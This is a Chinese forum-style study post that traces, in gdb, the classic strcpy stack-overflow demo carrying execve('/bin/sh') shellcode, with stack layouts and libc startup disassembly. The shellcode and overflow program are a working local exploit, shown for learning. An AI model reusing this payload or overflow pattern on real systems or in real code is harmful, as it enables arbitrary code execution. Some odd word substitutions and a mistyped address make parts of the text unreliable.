以前很少用gdb分析代码, 这回找个最简朴的shellcode练练, 顺便关税, 见笑
1.前辈代码 (<<缓冲区溢出机理分析>>)
/*foo1.c
*
*/
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
char large_string[128];
void main() {
char buffer[96];
int i;
long *long_ptr = (long *) large_string;
for (i = 0; i < 32; i++)
*(long_ptr + i) = (int) buffer;
for (i = 0; i < strlen(shellcode); i++)
large_string[i] = shellcode[i];
strcpy(buffer,large_string);
}
2 初始
缓冲区溢出的原理略, 这里我先gcc -S she.c 看了一下main的开头汇编
--------------------------------
main:
pushl %ebp /*在这里开始main */
movl %esp,%ebp
subl $104,%esp /*buffer+i+long_ptr的总长度是104,
在这里esp一下从ebp移到了栈尾, 实在
就是long_ptr所在处*/
pushl %esi
pushl %ebx
movl $large_string,-104(%ebp) /*用gdb来break main时断点设到了这一行*/
用gdb分析得到现在的堆栈情况是
------------------------------------------------------------------
esp
var:
低端内存 [long_ptr][i][buffer...][ebp][ret][str..] 高端内存
len:(byte) 4 4 96 4 4
------------------------------------------------------------------
在这个点上gdb输出是
-----------------------
(gdb) print &buffer
$6 = (char (*)[96]) 0xbffffac8
(gdb) info regist ebp
ebp 0xbffffb28 -1073743064
(gdb)
这和上图是一致的
而ret
-------------------
(gdb)x 0xbfffb2c /*ebp+4对应ret*/
0xbffffb2c: 0x400329cb
(gdb)disassem 0x400329cb
Dump of assembler code for function __libc_start_main:
0x400328cc <__libc_start_main>: push %ebp
0x400328cd <__libc_start_main+1>: mov %esp,%ebp
.....
0x400329c6 <__libc_start_main+250>: mov 0x8(%ebp),%ecx
0x400329c9 <__libc_start_main+253>: call *%ecx
0x400329cb <__libc_start_main+255>: push %eax
0x400329cc <__libc_start_main+256>: call 0x40032234
gdb输出了数行libc_start_main的代码, ret的0x400329cb的确指向
了call main后的下一指令
当然在这一时刻可以跳过溢出代码, 这样
------------------------
(gdb) b *0x400329cb /*设在正常返回的libc_start_main里*/
Breakpoint 2 at 0x400329cb: file ../sysdeps/generic/libc-start.c, line 92.
(gdb) return /*假如不是return而是fin,溢出代码一执行, 就到不了这里了*/
Make main return now? (y or n) y
main=0x8048400 <main>, argc=1, argv=0xbffffb74, init=0x80482c0 <_init>,
~~~~~~~~~~_init()
fini=0x80484bc <_fini>, rtld_fini=0x4000ae60 <_dl_fini>,
stack_end=0xbffffb6c) at ../sysdeps/generic/libc-start.c:92
92 ../sysdeps/generic/libc-start.c: No such file or directory.
(gdb) info register eip
eip 0x400329cb 1073949131
-----------------------
eip恰是上面的ret传来的
这里我们还可以看到libc_start_main在main启动前call了init,还有个fini是在main之后
了?不会, 我是从
main返回到这的阿!
(gdb)disassem 0x80482c0
---------------------------------------
Dump of assembler code for function _init:
0x80482c0 <_init>: push %ebp
0x80482c1 <_init+1>: mov %esp,%ebp
0x80482c3 <_init+3>: push %ebx
0x80482c4 <_init+4>: call 0x80482c9 <_init+9>
0x80482c9 <_init+9>: pop %ebx
0x80482ca <_init+10>: add $0x127b,%ebx
0x80482d0 <_init+16>: cmpl $0x0,0x20(%ebx)
0x80482d7 <_init+23>: je 0x80482de <_init+30>
0x80482d9 <_init+25>: call 0x0
0x80482de <_init+30>: mov %esi,%esi
0x80482e0 <_init+32>: call 0x80483d0 <frame_dummy>
0x80482e5 <_init+37>: call 0x8048490 <__do_global_ctors_aux>
0x80482ea <_init+42>: mov 0xfffffffc(%ebp),%ebx
0x80482ed <_init+45>: leave
0x80482ee <_init+46>: ret
End of assembler dump.
-----------------------------------------
这段代码谁知道什么意思啊?不外似乎跑题了, 回到shellcode吧!
……